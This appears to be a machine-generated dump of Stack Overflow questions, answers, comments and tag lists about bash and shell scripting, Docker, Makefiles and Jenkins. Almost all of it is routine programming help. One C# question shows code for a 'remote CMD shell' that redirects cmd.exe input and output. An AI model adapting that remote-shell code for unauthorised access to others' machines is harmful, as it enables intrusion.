has title: BASH: add prefix to each line on curl output
has comment: http://stackoverflow.com/comment/135188578

http://stackoverflow.com/comment/135112226
score: 0
has text: does your timezone have daylight saving?
type: QuestionComment
comment on: http://stackoverflow.com/q/76633671
type: Comment

http://stackoverflow.com/q/76621621
has answer: http://stackoverflow.com/a/76641020
has answer: http://stackoverflow.com/a/76637313
has comment: http://stackoverflow.com/comment/135092361
has comment: http://stackoverflow.com/comment/135093559
has comment: http://stackoverflow.com/comment/135091901
has comment: http://stackoverflow.com/comment/135092909
has comment: http://stackoverflow.com/comment/135091910
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135091976
has comment: http://stackoverflow.com/comment/135099016
tagged with: shell
has title: Bash parse csv file dynamically
has comment: http://stackoverflow.com/comment/135093217
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135093477
has comment: http://stackoverflow.com/comment/135091915
has comment: http://stackoverflow.com/comment/135091988
has comment: http://stackoverflow.com/comment/135091994
has body: I changed it to this now: Parse_csv() { # Read the first row of the CSV file IFS=',' read -ra headers <<< "$(head -n 1 "$1")" # Declare an associative array to store the variables # Iterate through the headers and dynamically create variables element_number=0 total_elements=${#headers[@]} echo "total elements $total_elements" # Read and process subsequent rows tail -n +2 "$1" | while IFS=',' read -ra values; do for value in "${values[@]}"; do #echo "element Number" $element_number #echo "current header" "${headers[element_number]}" #echo "value $value" if [ $element_number == $total_elements ]; then echo " This is the end of elements" #eval "${headers[$element_number]}=$value" element_number=0 else echo " element number $element_number" element_number=$((element_number+1)) fi done done } It is printing correctly but the eval is not happening. Also, last field since the csv file doesn't have a carriage return it is ignoring the last field.
answer count: 2
linked to: http://stackoverflow.com/q/2746553
tagged with: bash

http://stackoverflow.com/comment/135233494
comment on: http://stackoverflow.com/a/76704102
has text: `the source command should be rejected` I disagree. A POSIX compatible shell _is not required_ to a have a source builtin. This does _not_ mean it is required to reject it. A POSIX compatible shell having a source builtin is still perfectly POSIX compatible.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135311503
has text: @Joe I've checked and I'm effectively logged as a root (admin).
score: 0
comment on: http://stackoverflow.com/q/76710355
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76661943
tagged with: awk
type: Question
tagged with: bioinformatics
has title: process of iteration in nextflow
tagged with: shell
tagged with: nextflow
type: UnansweredQuestion
has body: I am trying to create a process in nextflow where it takes 2 inputs, the krakenfile which will be used directly, and the fungalname which contain multiple lines, every line contain a name of a specie. I want to do an iteration inside the fungalname file, take it line by line, and for every line/specie I will look for all lines in the krakenfile that contain that name in their 3rd column. For example If my fungalname contain this: Aspergillus fumigatus Candida albicans And the krakenfile contain xxxx 548 Aspergillus fumigatus zzzz 566 Candida albicans aaaa 598 Aspergillus fumigatus kkk 888 Candida albicans My outputs should be 2 files,ASpergillus_fumigatus_lines.txt and Candida_albicans_lines.txt, every one of them contain 2 lines (as the example above) The problem is that my outputs files always are empty, though I am sure of the format, the localisation of my input files, I think it's a matter of process, can Anyone please help m, this is my code : params.fungaalnames="/home/aziz/pipeline/results/extraction/fungal_species.txt" params.krakeenfile="/home/aziz/pipeline/results/classification_before_filtration/output.kraken" fungalnames = file(params.fungaalnames) krakenfile = file(params.krakeenfile) process fungal_reads_extraction { input: file fungalnames file krakenfile output: path "*" , emit: reads_extracted_out script: """ while IFS= read -r species_name; do awk -F'\t' '\$3 ~ "'\$species_name'" {print}' $krakenfile > "\${species_name}_lines.txt" done < $fungalnames """ } workflow { fungalnames_ch=Channel.fromPath(params.fungaalnames) krakenfile_ch=Channel.fromPath(params.krakeenfile) fungal_reads_extraction(fungalnames_ch, krakenfile_ch) | view }
has answer: http://stackoverflow.com/a/76663454
downvote count: 0
score: 1
tagged with: bash
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/a/76683372
has body: Instead of result=$(curl --insecure --no-buffer --header "Connection: Upgrade" --header "Upgrade: websocket" --header "Sec-WebSocket-Version: 13" --header "Sec-WebSocket-Key: websocket" -v -i --silent https://127.0.0.1:443/blackhole) b=$(echo $result | awk '/^HTTP/{print $2}') echo $b ... you can try this: # quote result of command substitution result=$(curl --insecure --no-buffer --header "Connection: Upgrade" --header "Upgrade: websocket" --header "Sec-WebSocket-Version: 13" --header "Sec-WebSocket-Key: websocket" -v -i --silent https://127.0.0.1:443/blackhole) # quote result of command substitution b="$(echo "$result" | grep -o -e '^< HTTP/1\.1 \([0-9]\{3\}\)')" echo "$b" # should produce "< HTTP/1.1 101" echo "${b## *}" # should produce "101" Hope that helps.
type: Answer
has comment: http://stackoverflow.com/comment/135440351
score: 0
answers question: http://stackoverflow.com/q/76617551

http://stackoverflow.com/a/76545097
upvote count: 1
has comment: http://stackoverflow.com/comment/134964812
type: Answer
answers question: http://stackoverflow.com/q/76544889
has comment: http://stackoverflow.com/comment/134966426
has comment: http://stackoverflow.com/comment/134964075
has body: You can use pcre of grep with lookahead assertions : grep -P '^(?=.*term[12])(?!.*term3).*term[45]$' &lt;&lt;&lt; 'term2 term1 term5'
has comment: http://stackoverflow.com/comment/134964148
has comment: http://stackoverflow.com/comment/134966265
has comment: http://stackoverflow.com/comment/134964905
score: 1
accepted answer of: http://stackoverflow.com/q/76544889
has comment: http://stackoverflow.com/comment/134966411
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/134966438
downvote count: 0

http://stackoverflow.com/q/76560288
has comment: http://stackoverflow.com/comment/135027347
has title: capturing escape sequences from the output of a shell in python
type: Question
has comment: http://stackoverflow.com/comment/134988815
has comment: http://stackoverflow.com/comment/135026741
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135039143
has comment: http://stackoverflow.com/comment/135039916
has body: I'm trying to create a Linux terminal in Python. but i know there's gonna be escape sequences sent by the shell and gonna need to interpret them, how can i capture the escape sequences and the control codes from the output of the shell and know their position? As an example this: b'\x1b]0alaa@alaa-hplaptop15bs1xx:~/terminal\x07'
score: 0
answer count: 0
tagged with: shell
tagged with: ansi-escape
tagged with: terminal
tagged with: python
has comment: http://stackoverflow.com/comment/135039893

http://stackoverflow.com/q/76582602
answer count: 3
upvote count: 1
has comment: http://stackoverflow.com/comment/135188211
has comment: http://stackoverflow.com/comment/135025906
has answer: http://stackoverflow.com/a/76583277
downvote count: 0
score: 1
possible better answer: http://stackoverflow.com/a/76583277
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76592769
has title: Copy the file in second column when the first column match
accepted answer: http://stackoverflow.com/a/76582757
tagged with: awk
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76582757
has body: I would like to copy the files listed in the 2nd column of a text file to directory dir1, if the 1st column is "include" or "Include". my script just prints out all lines without copying the files. main_file lines here another line Include 'file1' include 'file2' endoffile desired output file1 & file2 copied in the dir1 directory my script awk 'tolower($1)=="include"{cp $2 dir1}' main_file

http://stackoverflow.com/q/76551048
has body: I would like to convert this Matlab code to Python syntax. The aim of this code is to executing a shell command via Matlab to run an abaqus simulation with a specific target. string = ['C:\Windows\System32\cmd.exe /E:ON /V:ON /K' ... '""C:\Program Files (x86)\IntelSWTools\compilers_and_libraries_2016.8.254\windows\bin\ipsxe-comp-vars.bat" intel64 vs2013 & abaqus ' ... 'j=v1 '... 'inp=v1.inp '... 'user=vumat_randomFields_v3.for '... 'int & exit"']; job1 = system(string); I tried to use subprocess module ,but I did not succeed . import subprocess string = [r'C:\Windows\System32\cmd.exe','/E:ON','/V:ON','/K', r'"C:\Program Files (x86)\IntelSWTools\compilers_and_libraries_2016.8.254\windows\bin\ipsxe-comp-vars.bat" intel64 vs2013 & abaqus', 'j=v2', 'inp=v1.inp', 'user=vumat_randomFields_v3.for', 'int', 'exit'] command='abaqus job=v1 user=vumat_randomFields_v3 verbose=2 int' job1 = subprocess.call(command, shell=True) I did not get any python error; however, the job did not run. Via matlab the job normally ran. To mention I am using Windows and python 3.10 I would appreciate any help. Best Regards
tagged with: matlab
type: Question
linked to: http://stackoverflow.com/q/89228
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/134970948
score: 0
answer count: 0
tagged with: shell
tagged with: abaqus
has comment: http://stackoverflow.com/comment/134971391
tagged with: python
has comment: http://stackoverflow.com/comment/134971147
has title: Convert Matlab code syntax to Python syntax

http://stackoverflow.com/q/76698598
tagged with: c#
score: 0
type: Question
tagged with: shell
answer count: 0
type: UnansweredQuestion
tagged with: remote-access
has comment: http://stackoverflow.com/comment/135222554
has body: I am doing remote CMD shell. After writing to StandardInput i need to read output from StandardOutput but for it i need to close StandardInput. How i can write to StandardInput again? Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.RedirectStandardInput = true; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; process.Start(); process.StandardInput.WriteLine("dir"); process.StandardInput.Close(); nextOutput = Encoding.UTF8.GetBytes(process.StandardOutput.ReadToEnd());
linked to: http://stackoverflow.com/q/51680382
has comment: http://stackoverflow.com/comment/135223524
has comment: http://stackoverflow.com/comment/135222872
has title: Write to process StandardInput

http://stackoverflow.com/a/76572254
answers question: http://stackoverflow.com/q/76570156
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/76570156
downvote count: 0
score: 1
has body: Your regex isn’t quite right. Also, it might be worthwhile using map to make things more straightforward: map(if (.node|test("^10[.]13[.]")) then .state="disabled" else . end) Or you could simply use startswith. In response to the follow-up question: If your array lives at _ in {"properties": { "basic": {"nodes_table": _}}}, you'd write: .properties.basic.nodes_table |= map(....)
type: Answer
has comment: http://stackoverflow.com/comment/135018479

http://stackoverflow.com/q/76668316
has answer: http://stackoverflow.com/a/76668361
linked to: http://stackoverflow.com/q/56844746
tagged with: docker
tagged with: shell
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/56844746
type: Question
upvote count: 2
has body: I have a Dockerfile containing ARG GROUP_ID=1000 RUN groupadd -g $GROUP_ID foo and a compose.yaml file with a container declared as services: bar: build: args: GROUP_ID: &quot;$(id -g)&quot; Running docker compose build bar fails with groupadd: invalid group ID '$(id' Why is it not using the whole $(id -g) and evaluating it correctly?
tagged with: linux
downvote count: 0
tagged with: bash
answer count: 1
has title: Build argument in docker compose not evaluated correctly
favorite count: 0
accepted answer: http://stackoverflow.com/a/76668361
tagged with: docker-compose
score: 2

linux
tags question: http://stackoverflow.com/q/76668316
tags question: http://stackoverflow.com/q/76702711
tags question: http://stackoverflow.com/q/76650742
tags question: http://stackoverflow.com/q/76591635
tags question: http://stackoverflow.com/q/76633771
tags question: http://stackoverflow.com/q/76591531
tags question: http://stackoverflow.com/q/76549287
tags question: http://stackoverflow.com/q/76669088
tags question: http://stackoverflow.com/q/76609158
tags question: http://stackoverflow.com/q/76626472
tags question: http://stackoverflow.com/q/76558797
tag name: linux
type: Tag
tags question: http://stackoverflow.com/q/76657138
tags question: http://stackoverflow.com/q/76683161
tags question: http://stackoverflow.com/q/76624545
tags question: http://stackoverflow.com/q/76678432
tags question: http://stackoverflow.com/q/76602700
tags question: http://stackoverflow.com/q/76699173
tags question: http://stackoverflow.com/q/76669426
tags question: http://stackoverflow.com/q/76602195
tags question: http://stackoverflow.com/q/76686394
tags question: http://stackoverflow.com/q/76678549
tags question: http://stackoverflow.com/q/76576781
tags question: http://stackoverflow.com/q/76620625
tags question: http://stackoverflow.com/q/76555096
tags question: http://stackoverflow.com/q/76679026
tags question: http://stackoverflow.com/q/76656022
tags question: http://stackoverflow.com/q/76587890
tags question: http://stackoverflow.com/q/76669265
tags question: http://stackoverflow.com/q/76624018
tags question: http://stackoverflow.com/q/76692290
tags question: http://stackoverflow.com/q/76720260
tags question: http://stackoverflow.com/q/76808171
tags question: http://stackoverflow.com/q/76771421
tags question: http://stackoverflow.com/q/76840695
tags question: http://stackoverflow.com/q/76722348
tags question: http://stackoverflow.com/q/76809509
tags question: http://stackoverflow.com/q/76815964
tags question: http://stackoverflow.com/q/76872740
tags question: http://stackoverflow.com/q/76715818
tags question: http://stackoverflow.com/q/76774173
tags question: http://stackoverflow.com/q/76725490
tags question: http://stackoverflow.com/q/76747690
tags question: http://stackoverflow.com/q/76751024
tags question: http://stackoverflow.com/q/76845626
tags question: http://stackoverflow.com/q/76790718
tags question: http://stackoverflow.com/q/76775292
tags question: http://stackoverflow.com/q/76772469
tags question: http://stackoverflow.com/q/76761336
tags question: http://stackoverflow.com/q/76857017
tags question: http://stackoverflow.com/q/76810435
tags question: http://stackoverflow.com/q/76770292
tags question: http://stackoverflow.com/q/76771254
tags question: http://stackoverflow.com/q/76739914
tags question: http://stackoverflow.com/q/76881285
tags question: http://stackoverflow.com/q/76878032
tags question: http://stackoverflow.com/q/76741997
tags question: http://stackoverflow.com/q/76724923
tags question: http://stackoverflow.com/q/76857263
tags question: http://stackoverflow.com/q/76731251
tags question: http://stackoverflow.com/q/76835022
tags question: http://stackoverflow.com/q/76850146
tags question: http://stackoverflow.com/q/76743009
tags question: http://stackoverflow.com/q/76805101
tags question: http://stackoverflow.com/q/76776995
tags question: http://stackoverflow.com/q/76781297
tags question: http://stackoverflow.com/q/76751837
tags question: http://stackoverflow.com/q/76776756
tags question: http://stackoverflow.com/q/76974809
tags question: http://stackoverflow.com/q/77027254
tags question: http://stackoverflow.com/q/77022904
tags question: http://stackoverflow.com/q/76915647
tags question: http://stackoverflow.com/q/77036222
tags question: http://stackoverflow.com/q/76991403
tags question: http://stackoverflow.com/q/77058657
tags question: http://stackoverflow.com/q/77006285
tags question: http://stackoverflow.com/q/77015147
tags question: http://stackoverflow.com/q/77037291
tags question: http://stackoverflow.com/q/76952315

http://stackoverflow.com/a/76667982
downvote count: 0
score: 1
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/76666744
has body: Bash is not part of Windows. You have to fully reference a bash implementation like Bash for Windows, Bash by CYGWIN, or run the script a under WSL.
answers question: http://stackoverflow.com/q/76666744
type: Answer

http://stackoverflow.com/comment/135222357
type: QuestionComment
has text: When you use double quotes on the outside that makes `$5` be expanded by the parent shell.
type: Comment
comment on: http://stackoverflow.com/q/76699173
score: 1

http://stackoverflow.com/q/76687885
has title: Unable to extract value from Unix bash array if using functions
tagged with: bash
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76688536
accepted answer: http://stackoverflow.com/a/76688251
has comment: http://stackoverflow.com/comment/135213437
tagged with: arrays
tagged with: function
type: Question
has answer: http://stackoverflow.com/a/76688140
tagged with: shell
has answer: http://stackoverflow.com/a/76688267
has answer: http://stackoverflow.com/a/76688251
has body: I am trying to extract the value from a bash array. It works fine if it is the following code - ### stk3.sh #!bin/bash declare -x -A my_ids my_ids[cat]=100 my_ids[dog]=200 id_key=${1:-cat} ## setting default echo "Id key is :${id_key}" id_no=${my_ids[$id_key]} echo "Value is ### ${id_no}" if I execute the above I get the desired output - (saved the above script in stk3.sh) ./stk3.sh dog Id key is :dog Value is ### 200 Now, when I use functions, I am unable to get the desired output. Defined the function in one script (stk1.sh) and calling the function to get the value from a specific key from another script (stk2.sh) ### stk1.sh #!/bin/bash declare -x -A my_ids function my_ids { my_ids[cat]=100 my_ids[dog]=200 echo "Length of Array :${#my_ids[*]}" echo "*** Now printing the contents of the Array ...." for x in "${!my_ids[@]}" do printf "$x ${my_ids[$x]} \n" done } my_ids function get-value { printf "$1\n" if -n "$1" then id_no=${my_ids[$id_key]} fi } When calling the function using, I am NOT getting the desired results- Here is my stk2.sh ### stk2.sh #!/bin/bash source stk1.sh id_key=${1:-cat} ## setting default echo "Id key is :${id_key}" id_no=$(get-value $id_key) echo "Value is ### ${id_no}" Output after executing skt2.sh, As you can see it is not returning the value of id _no, which in this case should be 200: ./stk2.sh dog Length of Array :2 *** Now printing the contents of the Array .... dog 200 cat 100 Id key is :dog Value is ### dog
possible better answer: http://stackoverflow.com/a/76688267
has comment: http://stackoverflow.com/comment/135203509
has comment: http://stackoverflow.com/comment/135203814
has comment: http://stackoverflow.com/comment/135203977
linked to: http://stackoverflow.com/q/8742783
score: 0
answer count: 4

http://stackoverflow.com/comment/135163727
score: 0
comment on: http://stackoverflow.com/q/76664368
type: QuestionComment
type: Comment
has text: Probably file permissions or file locations changed. Have you verified those? Use conditionals on `if`s to see what is happening

http://stackoverflow.com/comment/135204586
comment on: http://stackoverflow.com/a/76687621
score: 0
type: Comment
type: AnswerComment
has text: @MarceloGuedes Doesn't work either...i just want to access the WLAN address of the windows. I was indeed working earlier with route.exe but not now...now i am manually typing the ip address from ipconfig/all.

http://stackoverflow.com/comment/135040671
comment on: http://stackoverflow.com/q/76591635
score: 0
type: QuestionComment
type: Comment
has text: You don't need the `-l` in your `ls` command. Using `ls -Uta` instead of `ls -Ulta` would give you just filenames. There are still issues involved in parsing the output of `ls`, but that may be fine for what you're doing.

http://stackoverflow.com/comment/135096736
has text: btw, saying you want to parse the file into "an" environment variable when you actually want a separate environment variable per line of the file is a bit misleading.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76624545

http://stackoverflow.com/comment/135040663
score: 0
has text: I would solve this problem by using `awk` command. So $oldestfile would looks like next: ```oldestfile=$(ls -Ulta f41895.archivetosmarsh.com/emailarchive*/Maildir | grep .duplicated999 | awk '{print $NF}' | tail -n 1)``` So once you will run ```date -r $oldestfile``` you will receive the last modified date of that file
comment on: http://stackoverflow.com/q/76591635
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76587890
has title: Defining a variable inside Makefile cmd
tagged with: linux
has answer: http://stackoverflow.com/a/76588449
answer count: 2
has body: Can we define a new variable inside a command of Makefile? I'm writting a Makefile and I want to define a new variable just in one of the commands I use. Is there anyway? Or I'm missing something? I tried this script below but it doesn't work. Please help. Thank you Makefile build: ifdef stack node_tag=$(shell echo $(tag)' | sed 's|$(stack)|&amp;_node|') endif
score: 0
type: Question
has answer: http://stackoverflow.com/a/76615018
tagged with: shell
tagged with: makefile
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135036649
has comment: http://stackoverflow.com/comment/135081160
has comment: http://stackoverflow.com/comment/135058155
tagged with: gnu-make

http://stackoverflow.com/comment/135237647
has text: No I figured it out how to make it work but the issue is that now I want it to alt tab back to my current tab and I am not sure how it works if you could help me out kindly, here is the script: Add-Type -AssemblyName System.Windows.Forms $wsh = New-Object -ComObject Wscript.shell while($true){ $wsh.AppActivate("MyAppName") sleep 0.2 if ($wsh.AppActivate("ecd")){ $wsh.AppActivate("ecd")} else{ [System.Windows.Forms.SendKeys]::SendWait('%{TAB}')} sleep 460 }
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76656905
score: 0

http://stackoverflow.com/comment/135118972
comment on: http://stackoverflow.com/q/76638009
type: QuestionComment
type: Comment
score: 0
has text: See https://askubuntu.com/questions/1369319/getting-defining-function-based-on-alias-z-error-everytime-open-the-terminal

http://stackoverflow.com/a/76575943
upvote count: 1
answers question: http://stackoverflow.com/q/76574631
type: Answer
has body: Solution in TXR Lisp. I added these two lines into the example data, to show they get sorted into the order based on their URL parameters first being sorted by key. They appear in the naive lexicographic order: https://example.net/z?a=tiger&b=zebra https://example.net/z?b=bear&a=aarvark But the parameter a is to be considered more significant than b, so a=aardvark must sort before a=tiger. This is observed: $ txr sort.tl < urls https://example.com/a?one=1&two=2 https://example.com/b?one=1 https://example.com/b?two=2&one=1 https://example.net/a/x?two=2&one=1 https://example.net/z?b=bear&a=aarvark https://example.net/z?a=tiger&b=zebra The approach in the code is to parse the URLs into pieces and make objects out of them. In TXR Lisp, there is a concept called "equality substitution" whereby we program a structure object to use an alternative key to represent it under the equal function. We do this by writing a one-argument method called equal. The method takes the object itself (the "self") and is called in order to deliver the equality substitute. In our case, we have it like: (:method equal (me) me.key) This says "to compare me for equality with something else, don't actually compare me, but rather use my key slot instead of me. We populate this key slot of the url structure with a normalized representation: a vector consisting of the domain, path, and sorted association list of URL parameters. With the equality substitution, we can just uniq the URL objects, sort them and then print them out as strings again. (defstruct url () urlstr prot domain path paramstr params ;; slot computed in :postinit key (:postinit (me) (set me.params [nsort me.params : car] me.key (vec me.domain me.path me.params))) (:method equal (me) me.key) (:method print (me stream : pretty-p) (if pretty-p (put-string me.urlstr stream) :))) (defun parse-url (str) (match `@prot://@domain/@path?@paramstr` str (let ((params (collect-each ((param (spl "&" paramstr))) (match `@var=@val` param (cons var …
downvote count: 0
score: 1

http://stackoverflow.com/comment/135149782
type: Comment
score: 0
type: QuestionComment
has text: `string='test@$134!'"'"; printf '#%s#\n' "$string";` ← This expands just fine. Even `echo "#${string}#";` would work (given that it doesn’t start with `-` or other somewhat special characters). Now it’s just a matter of replacing `echo` with the real thing.
comment on: http://stackoverflow.com/q/76656022

http://stackoverflow.com/comment/135159166
score: 0
has text: Is `payload` an environment variable or just a shell variable? Perhaps you better show the definition of the variable.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76574168

http://stackoverflow.com/comment/135219813
has text: You could also add the option `-T`, to make sure you only get text. This might be needed if the data contains [special](https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references#Entities_representing_special_characters_in_XHTML:~:text=Because%20of%20the-,special,-%26apos%3B%20case) characters.
type: Comment
comment on: http://stackoverflow.com/a/76697562
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135364688
score: 0
comment on: http://stackoverflow.com/q/76669795
has text: @STAKD Another person found your "unanswered" question willing to help, and discovered you don't need help. Please delete or answer your own question.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76622698
has comment: http://stackoverflow.com/comment/135093624
tagged with: docker
score: 0
answer count: 0
tagged with: shell
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/9712630
tagged with: bash
type: Question
has body: I'm running an inline shell script on docker using InlineShell=$(cat <<<-EOF echo "printing values" echo "$SAMPLE_VAL" echo "end of printing values" echo "printing env vars" env EOF ) docker run -e SAMPLE_VAL="Sample Value" <image> /bin/bash -c $InlineShell After executing I'm able to see the env variable set but the value is not printed/echoed by the inline shell script. printing values end of printing values printing env vars SAMPLE_VAL=Sample Value Above is the output I get along with some other env vars printed. Tried both $SAMPLE_VAL and ${SAMPLE_VAL} still the same result.
has comment: http://stackoverflow.com/comment/135093641
duplicate of: http://stackoverflow.com/q/9712630
has title: Shell inside docker not printing env var values

http://stackoverflow.com/comment/135230792
comment on: http://stackoverflow.com/q/76703900
score: 1
type: Comment
type: QuestionComment
has text: https://stackoverflow.com/questions/7040592/calling-the-source-command-from-subprocess-popen

http://stackoverflow.com/comment/135025162
score: 0
type: Comment
type: AnswerComment
has text: @GordonDavisson That's hair-splitting, since Fish knows how the string is split into elements, and individual elements can be queried and subshells can inherit the exported values (which Bash and Zsh do not). If you want to improve the semantics of my statement please suggest alternative wording, but arguing that Fish can't export arrays *pragmatically* is demonstrably not true, regardless of the underlying storage and retrieval mechanism. *That* was the point of mentioning it; bike-shedding neither improves answer semantics nor addresses the OP's question about how to get at such data.
comment on: http://stackoverflow.com/a/76578437

http://stackoverflow.com/a/77736123
has body: Summary If you want to use a groovy variable inside of string, you need to use double quotes. And if you need double quotes inside of string, escape them. def foo = "im a double quote \" inside of double quoted string" Also if you need to use $ echo("This is a literal dollar sign: \$") If you use single quotes, the variable is not evaluated. I tried your code and a webhooks tester. As expected the sent json was: Fix #1 Escape $ sometimes is a pain, so it's not optimal but it works just concatenate values like "hi " + variable In your case script: "curl .. -d '{\"cell_ids\": ["+payload+"]}'" full pipeline here pipeline{ agent any stages { stage ('Stage 1') { steps { script { def payload = "\"G1/H77/J1\",\"G1/H77/J2\",\"G1/H77/J3\",\"G10/H77/J1\",\"G10/H77/J2\"" def output = sh(script: "curl -X POST 'https://webhook.site/dac07d08-3d99-4a71-8170-f1529c7ff550' -H 'accept: application/json' -H 'Content-Type: application/json' -d '{\"cell_ids\": ["+payload+"]}'" , returnStdout: true).trim() println output } } } } } So the body sent to the http endpoint is the expected References https://webhook.site (to test http invocations) hot to escape a $ https://devops.stackexchange.com/a/17067/15159
answers question: http://stackoverflow.com/q/76574168
score: 0
type: Answer

http://stackoverflow.com/comment/135108301
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76631087
type: Comment
has text: So your goal is to (1) revisit `HEAD~3`, (2) run your linter, (3) apply some changes, then (4) apply the diff of `HEAD~3..HEAD~2`, and repeat from step 2 for all the commits?

http://stackoverflow.com/comment/135027421
has text: It looks like you can use *either* `--stdin` **or** provide a list of patterns on the command line, not both.
comment on: http://stackoverflow.com/q/76583869
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/134979764
has text: But if you're not going to do that, at least explain _why_ you're trying to read `INFA.param` into bash when none of your bash code even tries to refer to any of the variables it contains.
score: 1
type: Comment
comment on: http://stackoverflow.com/q/76555096
type: QuestionComment

http://stackoverflow.com/comment/135239386
has text: OK,Thanks.We found this problem with the root start gitlab-runner service, but it works fine if I run root on the command line. We have to use the shell for security Settings because we need to use a lot of secrets on this machine
comment on: http://stackoverflow.com/q/76685165
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135188163
type: Comment
has text: Don't tag your question by _bash_ and by _sh_, but make up your mind, which shell language you are going to use - in particular since a good solution of your question depends on what shell you are writing the code in.
comment on: http://stackoverflow.com/q/76678432
score: 1
type: QuestionComment

github
tag name: github
tags question: http://stackoverflow.com/q/76657149
type: Tag
tags question: http://stackoverflow.com/q/77032363
tags question: http://stackoverflow.com/q/77178372
tags question: http://stackoverflow.com/q/77516345
tags question: http://stackoverflow.com/q/77829093
tags question: http://stackoverflow.com/q/78061133
tags question: http://stackoverflow.com/q/78182539
tags question: http://stackoverflow.com/q/78255373
tags question: http://stackoverflow.com/q/78382243
tags question: http://stackoverflow.com/q/78425794
tags question: http://stackoverflow.com/q/78766769
tags question: http://stackoverflow.com/q/78780492
tags question: http://stackoverflow.com/q/79242514
tags question: http://stackoverflow.com/q/79242384
tags question: http://stackoverflow.com/q/79402707

http://stackoverflow.com/comment/135127837
score: 1
type: Comment
has text: Remove in both files `export PATH="/Users/users/Downloads/flutter/bin"`, then you should be good to go.
type: QuestionComment
comment on: http://stackoverflow.com/q/76643341

http://stackoverflow.com/comment/135230577
has text: Try using `.` instead of `source`
comment on: http://stackoverflow.com/q/76703900
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135093436
has text: If you want to measure performances, use proper tooling for that, not output logs. Moreover `sbt run` is an interactive mode which won't provide performance similar to the ones you'll have when really running the application outside SBT in production.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76621052
type: Comment

http://stackoverflow.com/a/76690073
answers question: http://stackoverflow.com/q/76689787
score: 1
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135207250
has body: The best solution is probably to use the -modulus option of openssl rsa: openssl rsa -pubin -inform PEM -in key_rsa_pub_1024.pub -noout -modulus This will output: Modulus=DC861A72302F93EB42E56118C6D470261B457B0AA6B500A62EF6E0EE797A68042185B773489C037DD710AAAC424F3BBF90093B29CDF05850D333B27BE4751B41C87DC48632980CF030073FB33450BD72C41B5AE1F2DFD375AB193A31711437CBF08608D0DDAD0570E47EFC55F990F916839320F9FA7BC3EBE9C12DBEDDD479EF If you want to drop the Modulus= part, then: openssl rsa -pubin -inform PEM -in key_rsa_pub_1024.pub -noout -modulus | cut -f2 -d=
downvote count: 0

http://stackoverflow.com/comment/135127776
comment on: http://stackoverflow.com/q/76643341
type: QuestionComment
type: Comment
score: 0
has text: I ve just edit my post . here are all my files bash_profile and .zshrc contents

pi
tags question: http://stackoverflow.com/q/76669426
type: Tag
tag name: pi

http://stackoverflow.com/a/76547459
has body: Based on OP's comments: mailing.sh should not call checking_file.sh but should 'read' the output from checking_file.sh one approach would be to have checking_file.sh write its output to a file ... modify checking_file.sh to write its output to a file modify mailing.sh to read the contents of said file Making minimal changes to OP's current code: $ cat checking_file.sh #!/bin/bash filepath="/home/documents/hello.txt" if [ -f "$filepath" ]; then echo "file exists" else echo "file not exists" fi > /home/documents/checking_file.out # write output to file $ cat mailing.sh #!/bin/bash #output=$(/home/documents/checking_file.sh) output=$(cat /home/documents/checking_file.out) # read output from file if [ "$output" = "file not exists" ]; then echo "trigger mail to developer" else echo "file is available in time no mail needed" fi NOTES: OP may want to add some logic to mailing.sh to verify checking_file.out actually exists OP may want to add some logic to mailing.sh to remove/rename checking_file.out so that a repeated run of mailing.sh does not process the same checking_file.out a second time Addressing OP's comment/question about not modifying checking_file.sh ... With no modifications to checking_file.sh we can have the invocation direct all output to a file, eg: $ /home/documents/checking_file.sh > /home/documents/checking_file.out 2>&1
upvote count: 1
has comment: http://stackoverflow.com/comment/134968628
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/134969656
answers question: http://stackoverflow.com/q/76546737
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/76546737

http://stackoverflow.com/a/76551939
score: 1
answers question: http://stackoverflow.com/q/76551148
downvote count: 0
upvote count: 1
type: Answer
has body: Load the list of /etc/passwd uids into an array: uids=() while read -r uid do uids[$uid]="$uid" done < <(cut -d":" -f3 /etc/passwd) Modifying OP's current code to test if $num is an element in the array: while true; do read -p "Enter a number between 1000 and 59999: " num echo "" if "$num" -gt 1000 && "$num" -lt 60000 ; then if [[ -n "${uids[num]}" ]]; then echo "$num is already in use" else echo "$num is in range and not yet used!" break fi else echo "$num is out of range" fi done

http://stackoverflow.com/comment/135194028
type: QuestionComment
has text: It's also good form to redirect stdin from `/dev/null` whenever you don't have a _very_ specific reason to leave a program at the head of a pipeline connected to the terminal... and of course, turn off sqlplus silent mode when troubleshooting; back in the day I wrote my own SQL client to use in scripts because sqlplus was so very adamant about being difficult to wrangle)
type: Comment
comment on: http://stackoverflow.com/q/76682292
score: 0

http://stackoverflow.com/a/76704102
downvote count: 0
